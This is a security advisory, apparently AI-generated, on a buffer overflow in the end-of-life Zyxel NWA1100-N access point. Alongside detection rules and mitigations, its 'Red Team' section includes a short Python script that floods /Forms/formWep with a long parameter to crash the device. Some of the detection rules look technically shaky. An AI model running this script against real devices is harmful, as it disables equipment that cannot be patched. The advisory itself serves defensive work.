CVE-2026-7287

Executive Summary

CVE-2026-7287 is a critical buffer overflow vulnerability affecting the Zyxel NWA1100-N wireless access point, specifically in customized firmware version 1.00(AACE.1)C0. The vulnerability resides in multiple functions (formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert()) within the webs binary. An unauthenticated attacker can trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to the vulnerable device. The product is marked as UNSUPPORTED WHEN ASSIGNED, meaning it is end-of-life and no patches will be provided. The CVSS score is 7.5 (High), with a vector emphasizing network-based, low-complexity exploitation without authentication.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Zyxel NWA1100-N). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the product is end-of-life with no patch available. Attackers can easily disrupt operations of affected devices.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the webs binary, which handles HTTP requests on the Zyxel NWA1100-N. The affected functions (formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), formDelcert()) process user-supplied input from HTTP POST or GET parameters without proper bounds checking. By sending a crafted request with an overly long parameter value, an attacker can overflow a fixed-size buffer on the stack, corrupting adjacent memory.

Root Cause: The functions use unsafe string copy functions (e.g., sprintf, strcpy) that do not validate input length against the destination buffer size. This allows an attacker to write beyond the allocated buffer, overwriting the return address or other critical data.

Impact: The most immediate impact is a denial-of-service (DoS) condition, as the overflow typically causes a segmentation fault or system crash. However, depending on memory layout and mitigations (e.g., ASLR, NX), code execution might be possible, though the advisory only confirms DoS.

Affected Functions:

• formWep() – Handles WEP key configuration.
• formWlAc() – Handles wireless access control.
• formPasswordSetup() – Handles password changes.
• formUpgradeCert() – Handles certificate uploads.
• formDelcert() – Handles certificate deletion.

All these functions are reachable via HTTP requests to the device's web interface.

Vulnerable vs. Patched Code

Since the product is end-of-life and no patch exists, a direct comparison is not possible. However, a hypothetical fix would involve replacing unsafe functions with bounds-checked alternatives:

Vulnerable Code (Conceptual):

void formWep(char *input) {
    char buffer[64];
    sprintf(buffer, "%s", input); // Unsafe: no bounds check
    // ... process buffer
}

Patched Code (Conceptual):

void formWep(char *input) {
    char buffer[64];
    snprintf(buffer, sizeof(buffer), "%s", input); // Safe: limits copy
    // ... process buffer
}

The patched version uses snprintf to ensure only up to 63 bytes (plus null terminator) are copied, preventing overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Zyxel NWA1100-N with firmware version 1.00(AACE.1)C0.
• Network access to the device's web interface (typically port 80 or 443).
• No authentication required.

Exploitation Steps:

1. Identify the target device using Shodan or network scanning.
2. Send a crafted HTTP POST request to one of the vulnerable endpoints (e.g., /Forms/formWep).
3. Include an overly long parameter value (e.g., WepKey parameter with 1000 'A' characters).
4. The device will crash, causing a denial of service.

Example Exploit (Python):

import requests

target = "http://192.168.1.1"
payload = "A" * 1000  # Overflow payload

# Attempt to trigger overflow in formWep
data = {"WepKey": payload}
try:
    r = requests.post(f"{target}/Forms/formWep", data=data, timeout=5)
except requests.exceptions.Timeout:
    print("Device likely crashed (DoS achieved)")
except Exception as e:
    print(f"Error: {e}")

Note: No public exploit code is available from Exploit-DB. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with abnormally long parameter values (e.g., > 256 bytes).
• Use network intrusion detection systems (NIDS) to flag requests to /Forms/formWep, /Forms/formWlAc, etc., with excessive data.
• Check device logs for crashes or unexpected reboots.

Mitigation:

• Replace end-of-life devices with supported models.
• If replacement is not possible, restrict network access to the device using firewall rules (allow only trusted IPs).
• Disable the web interface if not needed.
• Monitor for DoS events and have a recovery plan.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /Forms/formWep, /Forms/formWlAc, /Forms/formPasswordSetup, /Forms/formUpgradeCert, /Forms/formDelcert with parameter values exceeding 256 bytes.
  • Repeated connection timeouts to the device after such requests.
• Host IOCs:
  • Device logs showing segmentation faults or kernel panics.
  • Unexpected device reboots.
• File IOCs:
  • No specific file-based IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2026_7287_Zyxel_Buffer_Overflow {
    meta:
        description = "Detects HTTP requests targeting Zyxel NWA1100-N buffer overflow"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-7287"
    strings:
        $s1 = "/Forms/formWep" ascii nocase
        $s2 = "/Forms/formWlAc" ascii nocase
        $s3 = "/Forms/formPasswordSetup" ascii nocase
        $s4 = "/Forms/formUpgradeCert" ascii nocase
        $s5 = "/Forms/formDelcert" ascii nocase
        $long_param = /[A-Za-z0-9]{256,}/  // Parameter value > 255 chars
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and $long_param
}

Sigma Rule

title: CVE-2026-7287 Zyxel NWA1100-N Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with long parameters targeting vulnerable Zyxel endpoints
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Forms/formWep'
            - '/Forms/formWlAc'
            - '/Forms/formPasswordSetup'
            - '/Forms/formUpgradeCert'
            - '/Forms/formDelcert'
    condition: selection and |cs-uri-query| > 256
falsepositives:
    - Legitimate long configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-7287 Zyxel NWA1100-N Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Forms/formWep"; http_uri;
    pcre:"/[A-Za-z0-9]{256,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2026-7287;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: Since the product is end-of-life and unsupported, the only permanent fix is to replace the Zyxel NWA1100-N with a supported model.
2. Network segmentation: If replacement is not possible, isolate the device on a separate VLAN with strict firewall rules allowing only trusted management hosts.
3. Disable web interface: If the web interface is not required, disable it via the device's CLI or configuration.
4. Monitor for exploitation: Deploy the provided detection rules to identify potential attacks.

Long-Term Recommendations:

• Implement a lifecycle management policy for network devices to ensure timely upgrades.
• Use vulnerability scanning tools to identify end-of-life devices.
• Consider using a web application firewall (WAF) to filter malicious requests.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.